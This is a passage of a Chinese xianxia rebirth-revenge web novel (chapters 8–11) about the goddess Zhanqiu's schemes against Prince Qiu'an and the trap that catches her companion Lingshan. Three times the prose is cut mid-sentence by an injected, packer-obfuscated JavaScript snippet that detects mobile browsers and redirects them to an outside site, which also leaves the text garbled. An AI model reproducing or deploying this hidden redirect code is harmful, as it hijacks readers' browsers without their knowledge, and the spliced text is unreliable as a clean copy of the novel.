“并非我不愿讲,只不过是一些负心薄情、忘恩负义的脏事,说出来恐污了二殿下的耳朵。还是算了吧。” 不知为何,裘安觉得她话中有话,脸上的表情有一瞬的僵硬,看向她的眼神也逐渐失了温度。 不多时,飞輦已行至南天门。 斩秋与裘安下了轿輦便直奔万虚殿,彼时天帝正在殿中。见二人仅短短一日便归,有些惊讶,遣了一旁的仙侍,朝二人问道:“如何了?” “回父皇……” “回陛下……” 二人异口同声,相视一眼,斩秋默了声,将此事交给裘安来禀。 “回父皇,幽境三千天兵失踪一事的确是百里及春所为,他此举的目的是要我们替他寻出魔界中的仙族之人。儿臣与斩秋已答应他的要求,想必他也会遵守承诺放回幽境三千天兵。” 听他说完,天帝眼中滚过一抹复杂之色,正要说些什么,仙侍突然在殿外报了一声:“陛下,大殿下求见。” “让他进来。” 裘旭应声走来,朝天帝行了一礼后肃然开口:“禀父皇,幽境来报,失踪的三千天兵方才业已尽数归来。” 天帝闻言垂眸颔首,静默了片刻。少顷,才道:“此事朕已知晓。安儿、秋儿,这件事你们做得很好,后面的事情就交给旭儿去做吧。” 说完他抬手轻摆了摆,示意二人退下,继而将目光移至裘旭身上:“旭儿,你留下。” 所谓“后面的事情”是什么,斩秋与裘安都心知肚明。 调查天宫中被魔族安插细作一事天帝自然不会交给他们二人去做。故而听到这个结果,二人并不感到意外。 只是斩秋没有想到,魔界中被他们找到的那名仙族,当真是天帝的手笔。看来两族千百年来的安稳,不过是假象而已。 二人领命退出了万虚殿,却都没有回自己的宫里,而是不约而同地朝执月阁的方向而去。 “你也要去执月阁?”路上,斩秋问得轻松,仿佛对此并不感到惊讶。 但闻他道:“虽然父皇说将此事交给阿兄去查,却没说过不准我插手此事。” 咬文嚼字倒是一如既往得厉害。斩秋挑了挑眉,暗自腹诽。 “只是不知你为何也会对此事感兴趣?”裘旭突然问她。 “你是觉得我避世许久,刚回天宫不该插手此事?”斩秋侧首,双眸掠过他的脸颊,“二殿下与我初相识,还不够了解我。我这人好奇心甚重,凡是有所疑虑,必将彻查到底。” 后面这话落入裘安的耳朵里,竟叫他觉得别有深意。 谈话间,已快要行至执月阁,只见一女子跪在阁外的廊道上,挡了去路。 女子着一袭绯色衣裙,长发随着她低下的脑袋一同垂下,遮挡了她的面容。 待走近后,斩秋望着她的身形顿然觉出几分熟悉来,不由眯了眯眸,对女子说:“抬起头来。” 女子不敢违抗,颤颤巍巍地将头抬起,印入眼帘的是一张让斩秋印象深刻的脸。 “见过二殿下,见过小神君。” 斩秋的眉峰陡然变得冷峭起来:“你叫什么名字?” 其实她本不必问,却还是想要亲耳听见,方为确认。 女子的音量不大,谈吐却十分清晰,一字一句地敲打在斩秋的耳畔。 “回神君,小仙涂千羽。” 见斩秋不语,她忽然又道:“神君或许不记得了,当年在涂隐山,是您救了小仙,将小仙带了回来。” 话音甫落,斩秋的眼底闪过一丝晦暗。 怎么会不记得呢?涂千羽,你的存在可是我为数不多的败笔啊。 回首上一世,她下界游玩途经涂隐山,遇见了被涂氏一族扫地出门的涂千羽,彼时她浑身是伤,晕倒在山林中。见其可怜,方才将其救下带回天宫。 自此之后,她就没再刻意留意过此人。没过多久,玄焰真神殒世,她亦离开了天宫。 等她再次见到涂千羽时,是她与裘安大婚的前一年,那时的涂千羽已然从一介小仙跃为上仙。 那时的她怎么也想不到,不久之后,涂千羽与裘安联手将她逼上万劫不复之路。 想到这里,斩秋眉色一正,并未回应涂千羽的刻意亲近:“你犯了何事,为何跪在此处?” “回神君,小仙适才不慎打翻了妙云仙君的砚台,惹得妙云仙君动怒,故而……”涂千羽垂下眼睑,似乎欲遮掩眼角闪烁的泪光,声音也愈渐愈小。 斩秋看涂千羽这幅我见犹怜的模样,不禁在心中感叹:也难怪自己上一世看不清此人的虚情假意,实在是她演得太过炉火纯青。 妙云乃执月阁阁主,待人温和,唯独在公事上眼里容不进沙子。如今她被罚跪在此处,肯定不止打翻砚台这么简单。阁中多是秘密要文,想是这砚台中的墨洒在了什么不该在的地方。 如此避重就轻,当真是聪明。 “确实是你错了。可跪在这廊道阻人去路,总归是有些不妥。”斩秋说着扭头望向裘安,心中萌生出一个不厚道的想法,“你说是吧,二殿下?” 被她这么一点,裘安也轻轻瞥眸朝涂千羽看了一眼,转瞬便收回视线,无所谓地“嗯”了一声。 “起来吧。”斩秋拂袖道。 “谢过神君,谢过二殿……” 孰料涂千羽嘴边的谢辞还未道全,便听前者又轻描淡写地补了句:“去乘安殿跪吧,那里宽敞又清净,通常不会有人经过打搅,最合适不过。” 话落,裘安面上闪过一瞬讶异,斜眸看她,嘴角勾起一缕不明的弧度。 而涂千羽闻言身形微僵,藏在袖中的手缓缓攥成拳。她淡然道了声“是”,随后起身消失在了他们面前。 待她走后,裘安微微眯起眼眸:“你可是与那小仙有何过节?” 斩秋一脸糊涂地反问:“二殿下何出此言?方才你不是也应许了吗,难道你与那小仙有过节?” 说完她并未等他回答,甩甩衣袖顾自先行朝执月阁而去。 斩秋走后,一直跟在远处的邬霖走近过来,方一行至裘安身后,便闻他道:“去查一查方才那女仙的来历。” “是。” 执月阁分外阁与内阁,内阁只有天帝和持有阁主令牌之人方能进入。斩秋来此并不为入内阁,只是匆匆与妙云抄要了一份阁中名册。 若是旁人与妙云询要,妙云断不会答应,不过是看在自己与她的交情上,这才通融一二。 故而今日裘安前去必会吃一个闭门羹。斩秋对此心知肚明,便在回去的路上特意等候了片刻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283009|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>裘安从执月阁出来,远远便看见斩秋在前站着,他有些不解地朝她走去,还未开口就见她伸手递来一本薄册。 “这是什么?”裘安面色疑惑。 “执月阁的名册。”斩秋如实答道,前者却迟迟不接,她又问,“二殿下莫不是在想,我为会何帮你?” 斩秋将手往前伸了些许,大义凌然道:“在天宫的利益面前,自是不分你我。” 她这真挚模样的背后,是一番精心算计。 那本名册内有许多都是裘旭母族中人,亦有不少裘旭的亲信。若有心人想要拿此作文章,给其中几人安上个谋叛的罪名,便可将裘旭拉下马。 裘安若有不臣之心,定会利用于此。届时她自有方法保下裘旭,只是借此试探一番,看看裘安是否是眼下便已对裘旭存了逆心。毕竟上一世裘旭战死,与他脱不开关系。 只见裘安若有所思地看了她一眼,随后微微颔首示意邬霖将名册收下,有礼地对她笑道:“多谢。” 该做的事已做完,斩秋不再与其久待,回到了秋茗宫。 她撑着脑袋坐在亭下瞧着一旁水塘中的游鱼,指尖轻揉着额角:“灵衫,这几日你帮我查一下回元究竟是何物。” 从前她好像从未听说过回元,不过这既是百里及春要的,定然不会是一件能轻易寻来之物。 想到这里,她又补了一句:“别让旁人察觉。” “是。” 这一夜,陨神坛上身死的一幕再一次入了斩秋的梦。身上的那些疼痛真实无比,每梦见一次,如同又亲临一遍。 哪怕不是头一回经历,她仍然无法平静地从梦中抽身。惊醒之际,额间挂着豆大的汗珠,心口直跳。 她下意识地捂住胸口,喘着气试图平息情绪,朝旁轻唤了声:“灵衫。” 清冷的声音在殿中回荡,却没得到回应。 她不禁翻身坐了起来,朝窗外望了望。天色微微亮,约莫是卯时。 虽然时辰还早,但她早已无了睡意,索性起身一边修炼,一边等着灵衫回来。 日光伴随着时间的流逝悄然溜过窗棱,爬进了殿内,斩秋却浑然不觉。直到一阵杂沓的脚步声袭来,紧接着叩响了殿门。 灵衫向来来去无声,因此斩秋知道来者并不是她,便意兴阑珊地起身前去应门。 打开门后,入目的是一张十分陌生的脸,来者垂首恭敬地唤了声:“见过斩秋上神。” 她懒洋洋地“嗯”了一声,问他:“你是?” “回上神,小仙乃御宣宫的仙侍。大殿下请您到涟园一聚。” 裘旭?她和裘旭有何可聚的,左右他想说的无非是与裘安相关之事。 斩秋扯了扯嘴角,本想随便找个借口把他打发了。但仔细想想,凭裘旭那固执的性格,若是一次请不到她,便会请第二次、第三次。 她若一日不应,他怕是要日日差人来请,叫她不得安宁。 最终还是点了头:“好。” 方一踏入涟园,便见一道月白色的身影立在池边的小桥上,身形笔挺,宛若松柏。 斩秋见了朝方才那名小仙微微颔首,示意他可先行退下,随后不急不慢地朝桥上走去:“你叫我前来所为何事?” 裘旭循声转过来,没作任何客套,单刀直入道:“我有事想请你帮忙。” “真稀奇。莫不是又来劝我与你那好弟弟退婚了。” 裘旭今日找她并不是为了此事,不过听着她揶揄的口吻,脸色还是不觉沉了下来,静默了半晌,才道:“你对安儿似乎有些敌意。” “是吗?”斩秋耸耸肩,满不在意地回应着。 面对她这幅无所谓的态度,裘旭叹了口气,语重心长道:“你刚回来,与安儿相处不久,还不了解他。待你了解后便会知晓,安儿……” 知道他后面要说些什么,斩秋有些不耐地打断他:“这世上没有人比我更了解裘安了。” 她话时模样并不认真,但不知怎的,裘旭却觉得她此番不是在玩笑。登时眉中一折,些许怪异与怀疑涌上,他正准备说些什么,却闻一道低沉的声音从不远处骤然响起。 “是吗?” 二人双双侧首望去,只见裘安负手站在桥下,眉眼一弯,饶有趣味地问。 “斩秋上神何时成了这世上最了解我的人了?” 9. 第9章 触及到裘安视线的那一刹,斩秋心头一颤,面上却未显丝毫慌张。 不一会儿,只见她的嘴角慢慢浮开一抹笑意,模糊了话题:“凭你我二人的关系,我理应做那个最了解你的人才是。” 此话分明暧昧,可从她的嘴里说出来却毫无情意。 裘安也勾了勾嘴角,很意外地没有继续追问。 他缓缓走到桥上,朝裘旭轻轻颔首,唤了声:“阿兄。” 后者亦点点头,面带微笑:“安儿,你怎么过来了?” “我正要去文经阁,途径此处。”裘安回道,说着转眸看向斩秋,口吻意味深长,“看来你那日说得不错,你与阿兄当真是旧相识啊。” 他的声音淡而温和,像雨后升起的那抹阳光,可落入斩秋的耳朵里却多了一分冷漠和揶揄。令她不禁抬眸睨了他一眼,未置一词。 裘旭似乎也听出了他的弦外之音,连忙撇清关系:“我今日找斩秋是有要事求她相助,并无其他。” 听裘旭这么说,倒叫斩秋有些惊讶。她原以为今日前来不过又是听他说一些有的没的,却未料到他竟是真的有事相求,好奇道:“何事?” “我想请你帮我设一个阵。” “设阵?”斩秋眸色微沉,活了这么多年,裘旭相求于她的次数屈指可数。能让他开口的定是极为重要之事,而眼下天宫内……怕是只有搜查魔族细作一事了。 “若是与魔族一事相关,恕我爱莫能助。昨日陛下说得很清楚,此事无需我参与其中。” “若我不说,父神怎会知晓?”裘旭忙道。 话音落下,斩秋没有搭话,只是平静地看着他,神情略显无奈。 被她这么看着,裘旭忽然醒神。 斩秋所会的术法古阵都源自上古时期,乃玄焰真神亲授,且只授她一人,如此特殊醒目,父神怎会认不出来?也正是因此,他才会来寻斩秋相助。这世间论起阵法咒术,恐怕无人及她。 是他一时心急,说话未经思量了。 思及此,裘旭垂下眼睑,遮盖住眼底神情,却难掩面上失望之色。 斩秋见状虽替他感到可惜,却并未因此心软。 替天宫清理门户一事本就不在她的规划当中。再者,她还要利用此事试探裘安。 孰料此时,头顶突然响起裘安的声音。 “昨日你说过,在天宫的利益面前,不分你我。怎么今日突然畏起父神来了?” 斩秋应声抬首,只见他皱起那双好看的眉,面露不解。半响,似乎想到了什么,肩膀一耷,作出一副失望模样:“难道你所说、所做的一切,都非出自真心吗?” 他的神情看似低落,可斩秋还是从中捕捉到了一闪而过的讥诮。不觉愣了愣,心中一阵恶寒。 “昨日……?”裘旭听得一头雾水,开口问道。 “我本也没想瞒着阿兄。昨日从魔界回来,父神虽说之后的事情无需我们再查,可我心中不安,便去了趟执月阁,想看看阁中是否有什么可疑之人。” 裘安说着话语一顿,侧首望向斩秋:“她与我是一同前去的。” 言下之意,她早已牵扯其中。 裘旭会意,忙道:“既然如此,你为何……”话至一半,他仿佛明白了什么,看向斩秋的眼里升起了希冀,“若是碍于父神的旨意,你放心,父神那边我会亲自去一趟。是否只要我求得父神首肯,你便会答应助我?” 眼下的处境,斩秋实难找到合理的理由拒绝。她垂眸思忖片刻,想着天帝那边多半不会应允,这才敷衍地“嗯”了一声。 得她松口,裘旭面露几许轻松之色。却在须臾间又恢复以往的肃穆模样,抬手朝她行了一礼:“我先在此提前谢过。那我此刻便去万虚殿一趟。”说完便匆匆朝涟园外走去。 斩秋站在原地,瞥了一眼身旁同样驻足的裘安,话语间颇有些赶人的意味:“二殿下不是要去文经阁么?” “其实也不是什么要紧事,晚些去也无妨。”裘安弯眼笑了笑,“既然遇到了,不如一起走走?” “不必了吧。”斩秋毫不犹豫地回绝,径直走下石桥。直到裘安的声音又从身后幽幽飘来,她才脚下一滞。 “莫非,你是气我方才多言了?” 斩秋按下心中烦郁,回首皮笑肉不笑地回答:“怎么会?” “那便一道走走吧。” 裘安负手走下来,与她并肩而行。 途中,他忽然问了句:“你与百里及春是从何时相识的?” 这话问得没头没尾,斩秋不以为意,想了想:“他成为魔尊的那一日。” 还记得那日她正在昊夜塔与父神对弈,忽见诡境妄渊散发奇光,高耸而上,直逼天境。 当时的她不明白天降异像是为何意,指着那道光便问父神那是什么。 父神放下手中的棋子,抬眸望去,语重心长道:“不过是这世间又添了一位受苦之人。” 待她回到秋茗宫后才从旁得知,原来异象是因新的魔王降世而起。回想起父神下棋说的那句话,她颇感不解,索性偷溜至诡境,意图会一会那新任的魔尊,瞧瞧他是否如父神所言那般,是一介苦难之士。 那魔尊倒也爽快,她报上名号之后,他竟只身出来相见。 那是她第一次见到百里及春,他就一派大方地站在那里,不怒自威,一双微微上扬的眼角噙着轻视的笑意,哪有半点儿苦相,分明是个厌世的主。 “你可知百里及春成魔前,乃是一介凡人。”裘安继续说道,“百里是曾经的胤国国姓,说不定他曾是位小皇子呢。” 他的声音拉回了斩秋飘远的思绪。 百里及春并非魔胎一事她的确略有耳闻,也不知他经历了什么,竟成为如今这般令人闻风丧胆的人物。 此时耳边突然传来裘安一声轻笑:“听闻你从前经常下至凡界游玩。若是有缘,兴许你们还曾擦肩而过。” 听到这里,斩秋顿然觉得他话有所指,停下了脚步。 看来三千天兵一事果然引起了裘安的怀疑,只可惜他怀疑错了方向,百里及春与她从前无甚交集,就算要查也查不到什么。 毕竟就连她自己也未曾料到,有朝一日她会和百里及春有这样的牵扯。 想到这里,斩秋缓缓抬眼,神态从容:“二殿下到底想说什么,不妨直言。” 裘旭听罢亦驻足转过身来。许是因为他身形高挑,此时垂眸看她,颇有几分居高临下的姿态:“我不过也想多了解你一些。以你我二人的关系,理应如此,不是吗?” 他刻意咬重“你我二人的关系”几字,仿佛在回应着她先前以此为借口的说辞。 斩秋听着这耳熟的话语,眨了眨眼:“是吗?” 忽而想到什么,她走上前,伸手攀上他的衣领,指尖来回摩挲着领上银色的绣纹,口吻暧昧:“我比较喜欢这样了解。” 说着手轻轻朝上探去,似欲抚摸他的脸颊。 触及他肌肤的刹那,手腕被他一把攫住。他的力道不大,却拧得她生疼,不禁折了下眉。 此刻裘安的眼中没了笑,尽显寒意。 见他不再装着一副温柔模样,斩秋翘起嘴角:“二殿下这是做什么?” “你我尚未成婚,此举有失礼数。”裘安甩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283010|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了她的手,冷言道,“你回去吧。” 话罢他不再做多停留,利落地转身离去。 待他的背影完全消失在斩秋的视野之后,她才缓缓收起脸上的戏谑,阴沉着脸从袖中取出一枚方帕,用力地擦拭着方才触碰过裘安的手,仿佛自己碰到的是什么极为肮脏之物。 - 斩秋回到秋茗宫时,已是辰时。心中估摸着这个时辰灵衫也该回来了,便停在廊下等她。 果然没过多久,就看见一道身影快步走来,她的眸色也瞬间变得柔软起来,抢先开口:“你莫不是天还未醒便出去了?” 灵衫颔首,表情依旧没什么起伏:“如此不易被人察觉。” 听到这样的回答,斩秋心头一酸。她吩咐过的话,灵衫总是记得很清楚,可她似乎很少想过,灵衫对她嘱咐之事付诸行动时,并不如她随口说出来这么轻松。 夜里的天宫虽少了些看守,可护卫的形阵却更为灵敏。若是身陷其中,怕是更不易脱身。 “以后行动前还是知会我一声,突然见不到你,我会不安心。”她看着灵衫,表情严肃,“不许再在夜里出去了。” 话落,灵衫没有回答,只是从袖间掏出一本薄簿,递到她的面前:“我翻遍了珍宝阁,并未在古籍上查到任何有关回元的记载。不过,我发现了这个。” “这是什么?”斩秋接过灵衫手中的簿子,随便翻了几页低眸看去,不过是一本很寻常的兵器簿。 但见灵衫伸手往后翻着书页,似乎在寻找什么,突然在某一页停下,指着中间那道被撕的裂口,道:“殿下你看,这里,少了几页。” 斩秋顺着灵衫手指的地方看去,果然有明显被撕毁的痕迹,长眉微蹙。 “难道百里及春要找的,是一件兵器?” 入夜。 九天之上万籁俱寂,除了长廊上的灵灯被风拂过时发出细细簌簌的声响,再无其他,仿佛整座天宫都沉浸于睡梦当中。 唯独朝云宫内,灯火通明。 裘安坐在案前,手中执笔蘸了墨汁,正在纸上写着什么。毛笔划过纸页,发出几道沙沙的声音。 “殿下。”门外突然传来一道男声。他的音量不大,好似怕惊扰了殿内的人。 裘安听到动静,却是眼也没抬一下,专注着手中的动作,不急不慢地道出两字:“进来。” “殿下,属下依您的吩咐联络了潜伏于缥缈境中的暗线。据他所言,斩秋上神在缥缈境的一千年间,常有时日闭门不出,除了她身边的灵衫,没人见过她。” “属下怀疑,斩秋上神或许……或许根本就不在缥缈境中。”邬霖垂首立于殿前,将查探到的消息一一回禀。 裘安意兴阑珊地“嗯”了一声,没说什么。 后者又道:“是否需要属下再去查探一番?斩秋上神若当真出了缥缈境,那在这三界当中,必会留下些痕迹。” 对于邬霖的话,裘安不置可否,依旧慢条斯理地挥着手中的笔。待写下最后一个字,方才掀起眼皮:“她身边那女子是何来历?” “灵衫乃斩秋上神千年前前往缥缈境途中所救之人,自此便一直带在身边,似乎不是仙族中人。”邬霖如实禀道。 忽而想起了什么,他又补上一句:“据说二人感情极深,千年以来几乎形影不离。斩秋上神闭关消失的日子里,灵衫也不见踪迹。” 听到这儿,裘安一双漆黑的眸里终于翻起些涟漪:“感情极深?” “是的。”邬霖点头。 话落,但见裘安勾起唇角,倾泄一抹顽劣之意,低声笑道。 “那真是太好了。” 10. 第10章 裘旭再次找到斩秋是三日后,这一次他没有差宫中仙侍传话,而是亲自前来。 斩秋见到他时有些意外,毕竟那日他从涟园离开后便径直去了万虚殿,若得天帝首肯他应该当日便通知她了。 三日过去,她早当此事已经了结,却不想他再度提起。 “我听安儿说,上古时期有一种阵法可展反噬之用。修为越高者,越是难以逃脱,可是真的?” “安儿”二字划过耳际,惹得斩秋眉尖微蹙。 凡事只要与裘安扯上关系,总是叫她没由来地心慌不安。不过他说的确是事实。 裘旭口中的这个阵法名为逆生阵,是她年幼修习时练得最刻苦的一个。 只是当年她并不知此阵威力,本想小小捉弄欺负她的人一番,却不想这阵法便险些要了那人性命,好在父神及时赶来,才没酿出大祸。自那之后,她再没使用过此阵法。 “你可会设此阵?”裘旭问道。 斩秋有些迟疑:“就算我会,你欲如何?莫非陛下答应让我参与此事?” “父皇算是允了,但……也不尽然。” “什么意思?” “此事事关重大,当中细节自是知道的人越少越好。并非父皇不信任你,只是你离开的这一千年里,天宫发生了许多事情,不是一朝一夕便能与你说清的。” 裘旭目光沉稳,在她一片狐疑的表情中解释道:“所以你只需要按照我说的在计划处设阵即可,其余的都无需在意。” 话音甫落,斩秋愕然失笑。她头一回发现,将人蒙在鼓里卖力还能被说得如此好听。 “你因何笑?”裘旭一愣,不解地问她。 她应声缓缓敛起笑意,少顷,在他疑惑的眼神中,认真地问道:“我若是不答应,陛下可会降罪于我?” 裘旭不知她何来这么一问,却没有多想,坚定地摇首:“自然不会。” “那好,这个忙我不帮。” 后者显然未料到这个回答,不由得眉心一跳:“为何?” “施术极损耗修为,我每使用一次,修为便削弱一分。而这一千年来,我为了给玄焰真神守灵,耗费了不少神力。我是个怜惜自己的人,不愿为了别人的责任损害自己的利益。这一点,想必你会理解的罢?” 为自己考虑实属常情常理,他或许可以说她自私,却不能因此责怪于她。 裘旭果然没再说话,垂下眼睑轻叹一声。 见状,斩秋眼底划过一缕狡黠,她低头理了理衣袖,漫不经心地说道:“不过,我听说元离神尊那有一枚灵元丹,食后或可增千年修为。” 话尽于此,裘旭虽不通世故,却也不是个痴傻的,立时听出了她的弦外之音。 “若我替你寻来灵元丹,你……” 未等他将话讲完,斩秋忙颔首笑答:“一言为定。” 灵元丹的作用可不单单是增益修为,最重要的是它还有重铸根基之效。 原本为了试探裘安她不欲插手此事,不过她的确没想到天帝竟会应允让她参与其中,哪怕是以这样的方式。 虽然就算她拒绝,天帝明面上也不会责怪于她,可难保心中不会留下芥蒂。事已至此,似乎答应才是更好的选择。 只是她也不喜被人白白利用。既然要她出力,总得拿点什么作为交易罢。 提起交易,倒又叫她想起百里及春。 这几日灵衫依旧在天宫查探,但是得到的消息皆为无法替她将完整的答案拼凑出来。她连回元是什么都查不到,又如何能寻来? 想到这里,她突然有些后悔那日在魔界没有好好地与百里及春问清楚。 神思游走之际,裘旭的声音再度闯入她耳朵里。 “你现在便随我走一趟。” 斩秋醒神顿了片刻,方才问他:“去哪?” “设阵。”后者言简意骇地答道。 “为何如此着急?灵元丹你都还没给我呢。” 裘旭没有回答,只是正了正色,缓声道:“我说会替你寻来,便一定会。你大可信我。” 他此话倒是不假。在斩秋认识的所有人当中,除父神以外,最言出必行之人就是裘旭了。故而斩秋没再追问,起身随他朝外步去。 此行并未如她所想那般前往执月阁,而是直奔幽境。 “为何要在设在此处?” “我说过,你只需要设阵,其余的无需在意。”裘旭口吻轻缓,似乎不想将话说得无礼,可是落入斩秋耳中却没什么分别。 斩秋会意,替他纠正了措辞:“你是想说我无权过问吧。” 裘旭抿唇不答,只管继续往前走着,恍若未闻。 幽境本是练兵之地,可如今四下无人,全然沉浸在一片寂静之中。 行至幽境深处,斩秋突然心生古怪,驻足停顿。 “调查天宫叛者一事,裘安也参与其中吗?” “为何这么问?”裘旭回头,淡然问她。 她也不知心中这股隐隐的不安来自何处。 见她不语,裘旭没有延伸这个话题。他往前两步,盯着不远处的平地,道:“将阵设在此处即可。” 彼时长乐宫内,裘霜与宫中仙侍玩着牌九,前一手牌刚输掉,气氛正值紧张之际,身后忽然传来一声通报。 “公主,二殿下来了。” “二哥?”裘霜闻声眨了眨眼,转过身去果然看见裘安站在殿前。 她丢下手中的骨牌,连忙站起身上前相迎:“二哥你怎么来了?” 说着抬手轻轻一摆,摒退一旁仙侍。 裘安脸上挂着和煦的笑容,温言道:“二哥有件事情想请霜儿帮忙。” “我?”裘霜瞪大了眼睛,惊讶与好奇不分先后地涌上心头,下意识地又往前走了两步,拉近了距离,“二哥快与我说说,何事?” “其实是我……”裘安说着忽然垂下了头,抿唇默了片刻。一双长眉微微蹙起,竟生了几分扭捏。 又过了稍顷,他才低声说道:“我想让霜儿以你的名义将斩秋请到涟园。” 见他这副不好意思的模样,裘霜顿悟,随即露出一抹嬉笑:“二哥这是想见斩秋上神?” 后者闻言微笑,轻点了点头。 得到肯定的答案,裘霜更加激动。 她原以为父皇突然替二哥作主定了亲,二哥心中该是不开心的。却未曾想他竟满意这门亲事,心中不免替其感到高兴。 可高兴之余又有些不解,她眯起眼睛:“可是二哥你与斩秋上神都已经定亲了,若是想要见她何须如此迂回,还要我……” 话至一半,忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283011|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然撞进裘安那一双清澈透亮的眸子里,竟从他眼中看出几分恳求。 裘霜不由心下一软,将后话尽数咽了回去,眼里只余“义气”二字。 她抬手拍了拍裘安的肩膀,神态颇为豪爽:“二哥你放心,今日我定会帮你请到……” 说到此处她话语一顿,笑嘻嘻地改了口:“嫂嫂。” 话音甫落,裘安唇角轻扬,垂眸掩去眼底一闪而过的冷意。 日暮,秋茗宫。 斩秋回来已有三个时辰,只是她回来时殿中就没有灵衫的身影。眼下望着空荡荡的宫殿,心下由等待而生的不安感愈发强烈。 此时门外蓦然传来窸窣声响,惹得斩秋快步上前。敞门一看,入目的却是一张陌生的脸。 “见过斩秋上神。”面前的女子垂首行礼,恭敬道。 来者并非灵衫,斩秋不掩面上失望,兴味索然地“嗯”了一声。 “公主请您到涟园一叙。” 斩秋闻言愣了愣,随后提起精神,抬眼将面前的女子仔细打量了一番。少顷,方才从这张脸上看出几分熟悉,此人似乎的确是裘霜身边的仙侍。 只是她与裘霜从前并没什么来往,今日为何突然邀她相叙? “这个时辰?”斩秋略显犹豫,“公主可有言明何事?” 面前的仙侍视线向下,闻声摇了摇头。 斩秋见状朝她身后望了望,只见宫外的廊道上依旧没有灵衫归来的身影:“我在等人,不如你先回去,就与公主说今日不便,明日我亲自去长乐宫见她。” “那小仙陪您一起等吧。”后者立在原地,说道,“公主吩咐过,今日务必将您请至涟园。” 话落,斩秋微微凝眉,心中疑虑,对于前者的提议不置可否。 天色渐渐暗下来,前来传话的仙侍却连脚都未挪半分。 斩秋瞧其这副架势是铁了心要将她请过去,不禁心想裘霜或许真有什么要紧之事与她说,终究是松了口:“罢了,我随你走一趟。” 待她到涟园时,只见亭下一道背影。那人坐在石凳上,身形端正,月光洒在他的脚边,照映着袍底的绣纹。 纵使只是朦胧一瞥,斩秋也仍认出了此人,霎那间便转身想要离开。 哪怕隔了数十步的距离,亭下之人亦听见了动静,缓缓起身朝她走去,漫不经心的声音在她身后响起。 “我等了许久,你就不打算听一听我要说什么吗?” 裘安的声音不大,却叫斩秋听得真切。 她脚下一滞,回身朝其望去:“二殿下想说什么?” “听闻今日你替阿兄去布阵了。” 见他明知故问,斩秋不作回答,眼底溢出几许不耐。 裘安却并不恼,只是饶有趣味地盯着她的表情,继续走近。一边走着,一边又道:“我来是想告诉你,你的阵法起作用了。” “是吗,恭喜。”斩秋随意应了一声,对此并不关心。 她实在不知裘安今日将她骗来此处究竟为何,直到他越走越近,脚下的黑影逐渐将她笼罩时,心底的不安与头顶响起的声音一同炸开。 “你就不好奇,抓到的那个人是谁么?” 斩秋猛然抬首,看见他眼中轻蔑的笑意,他问。 “这么晚了,灵衫回去了吗?” 11. 第11章 斩秋闻言浑身一震,惶恐与不安迅速涌上心头。她看向裘安的眼里充满了震惊,随即又转变为凛然杀意,仿佛要将他生吞活剥了一般。 裘安却很满意她面上突然变换的表情,语气闲适:“你应该感谢我在阿兄发现前给你通风报信才是。只是你为何来得这样晚?若是你早些来,说不定她还能少吃些苦头。” 斩秋面色一白,下意识攥紧袖中的手。修长的指甲嵌入掌心,传来刺痛之感,然而她却恍若未觉,倏地转身直奔幽境而去。 此时她的脑海只有一个声音,就是去见灵衫,一刻都等不得。 到达幽境之际,果然在一片血泊中看见了那道熟悉的身影。她倒在地上仿佛没有气息,月白色的衣袍被血沁湿,鲜红朝周围蔓延。 血越流越多,却漫不出法阵所置的方寸之地,逐渐向上逆去。原本无形的法阵因此被染出了颜色,犹如一团燃烧的火焰。 见此,斩秋的眼眶瞬间被一拥而上的水雾覆盖,心也随之往下猛地一坠,五内如焚。她奋力跑到阵前,抬手施术欲解此阵。 法阵被破的刹那,本在空中蔓延的鲜血朝四周射去,斩秋只觉脸上一热,鼻间尽是甜丝丝的腥味。 她跪地将灵衫抱在怀中,双手不可自抑地颤抖着,抚开灵衫脸上沾着血水的发丝,看清她了无生气的容颜。 前世的记忆霎那间如潮水般汹涌而至。 从前因为灵衫沉默寡言,总以冰冷的面容面对世人,所以斩秋一度以为她没有感情。而她之所以将她天天带在身边,无非是看中了她的灵力,能在必要之际保护自己。 不过也仅仅限于保护,她从没指望过灵衫为她拼命,也不希望如此。 后来瞭州一战,她遭遇敌军暗算,已无力再战。就在她以为自己会命丧于此时,灵衫骤然挡在她的面前施了魂祭术,以自己的生命为代价化出一道屏障护住了她,为她争取了一个时辰的机会等待援兵。 灵衫死前一句话也没有留下,只是在最后一刻用尽力气转身,用她那双干净的眼睛默默注视着斩秋,面上难得得浮现出笑容,似乎在庆幸自己护住了殿下,庆幸殿下还活着。 那时斩秋才知道,她不善言辞并非没有感情,她是这世间最真挚忠诚之人。 斩秋从回忆中抽离出来,她的胸口剧烈起伏着,泪水也再抑制不住,如断了线的珠子,滚滚落下:“灵衫……灵衫……” 